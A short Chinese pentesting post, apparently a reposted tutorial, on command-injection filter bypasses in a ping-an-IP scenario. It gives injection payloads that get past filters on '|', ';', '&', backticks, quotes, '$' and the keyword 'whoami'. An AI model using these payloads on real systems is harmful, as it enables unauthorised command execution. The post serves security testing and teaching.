1. 程式人生 > >命令執行常用命令

命令執行常用命令

命令執行常用命令

在滲透測試過程中,會遇見一些關於命令執行的漏洞,下面是收集的一些常用命令:

;   <   >   <>  |   ||  &  &&   `` ()   ‘ ‘ 

假設一種場景,從前端接收ip比如:127.0.0.1,後端對該ip進行ping測試: ping 127.0.0.1

  1. 沒有任何防護
    技術分享圖片

  2. 過濾了|
    技術分享圖片

  3. 過濾了 ; |
    技術分享圖片

  4. 過濾了 ; | &
    技術分享圖片

  5. 過濾了 whoami關鍵字
    ping -c 1 127.0.0.1|wh``oami
    技術分享圖片

  6. 過濾了whoami ``
    ping -c 1 127.0.0.1|wh‘‘oami
    技術分享圖片

  7. 過濾了whoami `` ‘‘

    ping -c 1 127.0.0.1;a=who;b=ami;$a$b
    技術分享圖片

  8. 過濾了whoami `` ‘‘ $
    ping -c 1 127.0.0.1|whoam""i
    技術分享圖片

  9. 過濾了whoami `` ‘‘ $ "" ;
    ping -c 1 127.0.0.1|whoam\i
    技術分享圖片

命令執行常用命令